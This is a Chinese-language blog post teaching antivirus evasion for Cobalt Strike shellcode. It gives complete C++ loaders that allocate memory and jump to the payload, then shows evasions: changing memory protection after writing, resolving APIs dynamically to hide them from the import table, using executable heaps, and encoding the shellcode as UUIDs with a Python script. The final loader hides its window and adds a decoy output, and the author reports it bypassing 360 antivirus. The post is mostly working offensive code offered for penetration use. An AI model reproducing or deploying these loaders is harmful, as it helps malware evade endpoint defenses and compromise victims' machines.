恶意代码逃逸学习
2023-06-15 23:25:43

在渗透的过程中会经常遇到对方机器安装了杀软的情况,这时就需要用到免杀技术,之前钓鱼邮件中提到的免杀是用GO写的,但我觉得这种东西还是更靠近计算机底层为好,正好这几天看了倾旋大佬的博客,对于用c++来实现恶意代码逃逸学到了很多,特此记录

简单的加载shellcode

首先我们要让cobalt strike生成的shellcode运行起来一共就三个步骤

  1. 申请计算机内存
  2. 将shellcode加载进内存
  3. 执行这一段内存

上面三个步骤对应的代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <Windows.h>
using namespace std;
/* length: 891 bytes */
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b......";

int main() {
int size = sizeof(buf);
//申请计算机内存
LPVOID exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//将shellcode加载进内存
RtlMoveMemory(exec, buf, size);
//执行这一段内存
((void(*)())exec)();
return 0;
}

将以上代码生成的exe直接运行就可以上线CS了,但如果有杀软的话就会直接报毒

image-20230615154428359

针对这一情况,我们将采取一系列的措施来绕过

免杀操作

申请可读写内存页

杀软对于可执行内存页的申请监控是非常严格的,所以我们可以先申请一个普通的可读写内存页,再通过VirtualProtect改变它的属性为可执行,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <Windows.h>
using namespace std;
/* length: 891 bytes */
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b......";

int main() {
//内存保护属性
DWORD oldProtect;
int size = sizeof(buf);
//申请普通的可读写的内存页
LPVOID exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_READWRITE);
RtlMoveMemory(exec, buf, size);
//改变为可执行
VirtualProtect(exec, size, PAGE_EXECUTE, &oldProtect);
((void(*)())exec)();
return 0;
}

修改导入地址表

在Windows操作系统中,当可执行文件或动态链接库(DLL)被加载时,系统需要知道它们所依赖的其他DLL中的函数的地址。这些地址被存储在导入地址表(Import Address Table,简称IAT)中。IAT是一个由系统自动创建和维护的数据结构,它包含了导入模块中所有需要从其他模块中引用的函数的地址。

当一个模块被加载时,系统会根据该模块的导入描述符中的信息,为IAT中的每个导入函数填充正确的地址。这个过程被称为导入解析。如果一个模块依赖的DLL没有被加载,或者被加载但是没有导出所需的函数,导入解析就会失败,并且模块无法正常工作。

我们可以通过peview来查看导入表

image-20230615162118302

而杀软针对导入表也有自己的判断逻辑,当发现了VirtualAllocVirtualProtect等敏感函数在导入表中时,会判断该文件为高危文件

我们可以使用GetProcAddress函数来获取函数地址

GetProcAddress是Windows API中的一个函数,它用于从动态链接库(DLL)中获取一个导出函数的地址。在Windows操作系统中,动态链接库是一种常见的代码共享机制,许多应用程序和系统组件都依赖于DLL中的函数。GetProcAddress函数可以让程序在运行时动态地链接到DLL中的函数,而不必在编译时将DLL中的函数链接到程序中。

GetProcAddress函数的原型如下:

1
2
3
4
FARPROC GetProcAddress(
HMODULE hModule, // DLL模块句柄
LPCSTR lpProcName // 导出函数名
);

其中,hModule参数是DLL模块的句柄,可以使用GetModuleHandle函数加载DLL并获取该句柄;lpProcName参数是导出函数的名称,可以是一个字符指针,也可以是一个整数值,用于表示函数的序号。

首先是VirtualAlloc方法:

1
2
3
4
5
// 声明指向 VirtualAlloc 函数的指针
typedef LPVOID(WINAPI* LPVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);

// 初始化指针
LPVirtualAlloc myVirtualAlloc = (LPVirtualAlloc)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");

同理VirtualProtect方法:

1
2
3
4
5
// 声明指向 VirtualProtect 函数的指针
typedef BOOL(WINAPI* LPVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);

// 初始化指针
LPVirtualProtect myVirtualProtect = (LPVirtualProtect)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualProtect");

故代码转变为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <Windows.h>
using namespace std;
/* length: 891 bytes */
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b......";

typedef LPVOID(WINAPI* LPVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef BOOL(WINAPI* LPVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);

int main() {
DWORD oldProtect;
LPVirtualAlloc myVirtualAlloc = (LPVirtualAlloc)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAlloc");
LPVirtualProtect myVirtualProtect = (LPVirtualProtect)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualProtect");
int size = sizeof(buf);
LPVOID exec = myVirtualAlloc(0, size, MEM_COMMIT, PAGE_READWRITE);
RtlMoveMemory(exec, buf, size);
myVirtualProtect(exec, size, PAGE_EXECUTE, &oldProtect);
((void(*)())exec)();
return 0;
}

此时用peveiw查看导入表发现已经不见VirtualAllocVirtualProtect

image-20230615191736134

虽然导入表中已经没有VirtualAlloc了,但依赖于其他技术,杀软还是能检测到代码中使用了VirtualAlloc,也依旧还是会报毒

利用HeapCreate替代VirtualAlloc

HeapCreate 是 Windows API 中的一个函数,用于创建一个新的堆。函数原型如下:

1
2
3
4
5
HANDLE HeapCreate(
DWORD flOptions,
SIZE_T dwInitialSize,
SIZE_T dwMaximumSize
);

参数说明:

  • flOptions:是一个控制堆的标志位,可以是 HEAP_GENERATE_EXCEPTIONSHEAP_NO_SERIALIZEHEAP_ZERO_MEMORY 或它们的组合。
  • dwInitialSize:指定堆的初始大小,单位为字节。
  • dwMaximumSize:指定堆的最大大小,如果为 0,则表示堆的大小没有限制。

则原来的LPVOID exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);可以用以下代码替代:

1
2
3
4
// 创建一个堆,设置 HEAP_CREATE_ENABLE_EXECUTE 和 HEAP_ZERO_MEMORY 标志位
HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, size);
// 在堆中分配内存,并将 shellcode 拷贝到分配的内存中
PVOID exec = HeapAlloc(hHeap, 0, sizeof(buf));

故整体代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <Windows.h>
using namespace std;
/* length: 891 bytes */
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b......";

int main() {
int size = sizeof(buf);
// 创建一个堆,设置 HEAP_CREATE_ENABLE_EXECUTE 和 HEAP_ZERO_MEMORY 标志位
HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, size);
// 在堆中分配内存,并将 shellcode 拷贝到分配的内存中
PVOID exec = HeapAlloc(hHeap, 0, size);
RtlMoveMemory(exec, buf, size);
((void(*)())exec)();
return 0;
}

使用HeapCreate可以躲避杀软对于VirtualAlloc的”追杀“

但这样的exe还是会被杀,因为buf中的静态shellcode太明显了,我们需要对shellcode进行加密

shellcode加密

要说起shellcode加密方法,那可太多了,之前钓鱼用的异或+base64可以尝试,同时倾旋大佬提到的UUID编码也是一个不错的方法

UUID (通用唯一标识符) 是一个用于标识信息的 128 位数字,它可以保证在分布式计算环境中的唯一性。在 C/C++ 中,UUID 结构体通常被定义为一个包含 16 个字节的无符号字符数组,可以使用 Windows API 函数来生成 UUID 或将字符串转换为 UUID。

1
2
3
4
// UUID 结构体
typedef struct _UUID {
unsigned char Data[16];
} UUID;

在 Windows 操作系统中,可以使用命令行工具 wmic 来查看系统的 UUID,命令为 wmic csproduct get UUID

image-20230615205238426

我们可以使用python加密脚本来将生成的bin文件进行uuid加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from uuid import UUID  # 导入 Python 内置的 UUID 类
import os
import sys

# Usage: python3 binToUUIDs.py shellcode.bin [--print]

print("""
____ _ _______ _ _ _ _ _____ _____
| _ \(_) |__ __| | | | | | | |_ _| __ \
| |_) |_ _ __ | | ___ | | | | | | | | | | | | |___
| _ <| | '_ \| |/ _ \| | | | | | | | | | | | / __|
| |_) | | | | | | (_) | |__| | |__| |_| |_| |__| \__ \
|____/|_|_| |_|_|\___/ \____/ \____/|_____|_____/|___/
\n""")
# 打印程序标题,使用了 ASCII 艺术字

with open(sys.argv[1], "rb") as f: # 打开二进制文件,以二进制模式读取
bin = f.read() # 读取文件内容

if len(sys.argv) > 2 and sys.argv[2] == "--print":
outputMapping = True # 如果命令行参数中有 "--print",则输出转换前后的映射关系
else:
outputMapping = False

offset = 0 # 偏移量初始化为 0

print("Length of shellcode: {} bytes\n".format(len(bin))) # 打印 shellcode 的长度

out = "" # 初始化输出字符串

while(offset < len(bin)): # 遍历 shellcode 中的每 16 个字节
countOfBytesToConvert = len(bin[offset:]) # 计算还剩多少字节需要转换
if countOfBytesToConvert < 16: # 如果不足 16 个字节
ZerosToAdd = 16 - countOfBytesToConvert # 计算需要补多少个 0
byteString = bin[offset:] + (b'\x00'* ZerosToAdd) # 在末尾补 0
uuid = UUID(bytes_le=byteString) # 将 byteString 转换成 UUID
else:
byteString = bin[offset:offset+16] # 取出 16 个字节
uuid = UUID(bytes_le=byteString) # 将 byteString 转换成 UUID
offset+=16 # 偏移量加 16

out += "\"{}\",\n".format(uuid) # 将 UUID 添加到 out 中

if outputMapping: # 如果需要输出映射关系
print("{} -> {}".format(byteString, uuid))

with open(sys.argv[1] + "UUIDs", "w") as f: # 将转换后的 UUID 写入到文件中
f.write(out)

print("Outputted to: {}".format(sys.argv[1] + "UUIDs")) # 打印输出文件的路径

image-20230615220751829

然后将加密的shellcode加载到内存里去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <Windows.h>
#include <rpc.h>
#include <iostream>
#pragma comment(lib,"Rpcrt4.lib")
//不弹出交互端口
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
using namespace std;
const char* buf[] = {
"e48348fc-e8f0-00c8-0000-415141505251",
"d2314856-4865-528b-6048-8b5218488b52",
"728b4820-4850-b70f-4a4a-4d31c94831c0",
"7c613cac-2c02-4120-c1c9-0d4101c1e2ed",
"……",
};

int main(int argc, char* argv[]) {
// 获取数组 buf 中元素个数
int dwNum = sizeof(buf) / sizeof(buf[0]);
// 创建一个堆,并返回一个句柄
HANDLE hMemory = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);
if (hMemory == NULL) {
return -1;
}
// 在堆中分配 1024 字节的内存,并返回指向这段内存的指针
PVOID pMemory = HeapAlloc(hMemory, 0, 1024);

DWORD_PTR CodePtr = (DWORD_PTR)pMemory;

for (size_t i = 0; i < dwNum; i++)
{
if (CodePtr == NULL) {
break;
}
// 将字符串转换成 UUID,并将结果存储在指向内存的指针 CodePtr 中
RPC_STATUS status = UuidFromStringA(RPC_CSTR(buf[i]), (UUID*)CodePtr);
if (status != RPC_S_OK) {

return -1;
}
CodePtr += 16;
}
if (pMemory == NULL) {
return -1;
}
((void(*)())pMemory)();
//加个输出来骗杀软
cout << "Hello World!\n";
return 0;
}

其中涉及到一个UuidFromStringA函数,该函数的作用是将一个字符串表示的 UUID 转换为一个 UUID 结构体类型的变量。其中,第一个参数是一个字符串,表示要转换的 UUID,第二个参数是一个指向 UUID 结构体类型的指针变量,表示转换后的结果。

生成的exe成功在360免杀(2023.6.15测试)

image-20230615221347000